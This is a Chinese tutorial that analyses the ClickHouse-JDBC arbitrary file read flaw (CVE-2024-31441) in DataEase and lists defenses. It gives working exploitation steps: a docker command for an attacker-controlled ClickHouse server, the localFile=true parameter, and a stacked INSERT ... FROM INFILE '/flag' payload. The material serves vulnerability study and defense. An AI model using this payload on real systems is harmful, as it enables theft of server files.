Clickhouse-jdbc 任意文件读取
字数 1606 2025-08-04 08:17:24

ClickHouse-JDBC 任意文件读取漏洞分析与利用教学

漏洞概述

本教学文档详细分析ClickHouse-JDBC驱动中存在的任意文件读取漏洞(CVE-2024-31441),该漏洞允许攻击者通过特制的JDBC连接字符串和SQL语句读取服务器上的任意文件。

背景知识

JDBC机制

  1. JDBC架构:Java数据库连接(JDBC)是Java语言中用来规范客户端程序访问数据库的应用程序接口
  2. 类加载机制:DriverManager类由BootStrap类加载器加载,而数据库驱动由厂商编写,使用子类加载器加载
  3. SPI机制:Service Provider Interface打破了双亲委派机制,允许厂商自定义驱动实现

ClickHouse-JDBC特性

  1. localFile选项:在0.4.2版本后,ClickHouse官方JDBC插件支持配置localFile选项
  2. 文件导入功能:允许在从文件导入表时从客户端文件中读取数据
  3. 通信协议:与MySQL不同,ClickHouse使用HTTP协议进行客户端-服务端通信

漏洞原理

技术对比

与MySQL的LOAD DATA LOCAL INFILE漏洞对比:

特性 MySQL ClickHouse
通信协议 专用协议 HTTP协议
文件传输触发方式 服务端可随时请求文件传输 客户端主动读取文件并发送
利用条件 连接阶段即可触发 需要执行SQL语句

漏洞触发流程

  1. 连接配置:在JDBC连接字符串中设置localFile=true选项
  2. SQL执行:通过堆叠查询执行包含FROM INFILE子句的INSERT语句
  3. 文件读取:客户端读取指定路径文件内容并发送到服务端

漏洞利用

前置条件

  1. JDBC连接URL可控
  2. 具有执行SQL语句的功能点
  3. 使用ClickHouse-JDBC驱动版本≥0.4.2

利用步骤

  1. 搭建恶意ClickHouse服务

    sudo docker run -d -p 18124:8123 -p19001:9000 clickhouse/clickhouse-server
    
  2. 配置JDBC连接

    • 添加额外连接参数:compress=0&localFile=true
  3. 准备目标表

    CREATE TABLE images(data String) Engine = Memory;
    
  4. 执行恶意SQL

    SELECT version());
    INSERT INTO images FROM INFILE '/flag' FORMAT RawBLOB; -- aaaa
    
  5. 读取文件内容
    查询images表获取文件内容

实际案例

在DataEase v1.18.18中:

  1. 上传特定版本ClickHouse驱动
  2. 配置恶意数据源连接参数
  3. 创建SQL数据集执行恶意语句
  4. 成功读取服务器上/flag文件内容

防御措施

  1. 输入验证

    • 严格限制JDBC连接字符串中的参数
    • 禁用不必要的选项如localFile
  2. 权限控制

    • 数据库用户使用最小权限原则
    • 限制文件系统访问权限
  3. 代码审查

    • 检查所有SQL执行点是否允许堆叠查询
    • 验证用户输入的SQL语句
  4. 更新策略

    • 及时更新ClickHouse-JDBC驱动到安全版本
    • 监控安全公告获取最新漏洞信息

总结

ClickHouse-JDBC的任意文件读取漏洞展示了JDBC实现中潜在的安全风险,特别是在处理客户端文件操作时。与传统的MySQL LOAD DATA LOCAL漏洞不同,此漏洞需要结合堆叠查询才能利用,但危害性同样严重。开发人员应严格审查数据库连接配置和SQL执行功能,防止此类漏洞被利用。

参考链接

  1. DataEase安全公告GHSA-h7hj-7wg6-p5wh
  2. ClickHouse官方文档
  3. JDBC规范文档
ClickHouse-JDBC 任意文件读取漏洞分析与利用教学 漏洞概述 本教学文档详细分析ClickHouse-JDBC驱动中存在的任意文件读取漏洞(CVE-2024-31441),该漏洞允许攻击者通过特制的JDBC连接字符串和SQL语句读取服务器上的任意文件。 背景知识 JDBC机制 JDBC架构 :Java数据库连接(JDBC)是Java语言中用来规范客户端程序访问数据库的应用程序接口 类加载机制 :DriverManager类由BootStrap类加载器加载,而数据库驱动由厂商编写,使用子类加载器加载 SPI机制 :Service Provider Interface打破了双亲委派机制,允许厂商自定义驱动实现 ClickHouse-JDBC特性 localFile选项 :在0.4.2版本后,ClickHouse官方JDBC插件支持配置 localFile 选项 文件导入功能 :允许在从文件导入表时从客户端文件中读取数据 通信协议 :与MySQL不同,ClickHouse使用HTTP协议进行客户端-服务端通信 漏洞原理 技术对比 与MySQL的LOAD DATA LOCAL INFILE漏洞对比: | 特性 | MySQL | ClickHouse | |---------------------|--------------------------|--------------------------| | 通信协议 | 专用协议 | HTTP协议 | | 文件传输触发方式 | 服务端可随时请求文件传输 | 客户端主动读取文件并发送 | | 利用条件 | 连接阶段即可触发 | 需要执行SQL语句 | 漏洞触发流程 连接配置 :在JDBC连接字符串中设置 localFile=true 选项 SQL执行 :通过堆叠查询执行包含 FROM INFILE 子句的INSERT语句 文件读取 :客户端读取指定路径文件内容并发送到服务端 漏洞利用 前置条件 JDBC连接URL可控 具有执行SQL语句的功能点 使用ClickHouse-JDBC驱动版本≥0.4.2 利用步骤 搭建恶意ClickHouse服务 : 配置JDBC连接 : 添加额外连接参数: compress=0&localFile=true 准备目标表 : 执行恶意SQL : 读取文件内容 : 查询images表获取文件内容 实际案例 在DataEase v1.18.18中: 上传特定版本ClickHouse驱动 配置恶意数据源连接参数 创建SQL数据集执行恶意语句 成功读取服务器上 /flag 文件内容 防御措施 输入验证 : 严格限制JDBC连接字符串中的参数 禁用不必要的选项如 localFile 权限控制 : 数据库用户使用最小权限原则 限制文件系统访问权限 代码审查 : 检查所有SQL执行点是否允许堆叠查询 验证用户输入的SQL语句 更新策略 : 及时更新ClickHouse-JDBC驱动到安全版本 监控安全公告获取最新漏洞信息 总结 ClickHouse-JDBC的任意文件读取漏洞展示了JDBC实现中潜在的安全风险,特别是在处理客户端文件操作时。与传统的MySQL LOAD DATA LOCAL漏洞不同,此漏洞需要结合堆叠查询才能利用,但危害性同样严重。开发人员应严格审查数据库连接配置和SQL执行功能,防止此类漏洞被利用。 参考链接 DataEase安全公告GHSA-h7hj-7wg6-p5wh ClickHouse官方文档 JDBC规范文档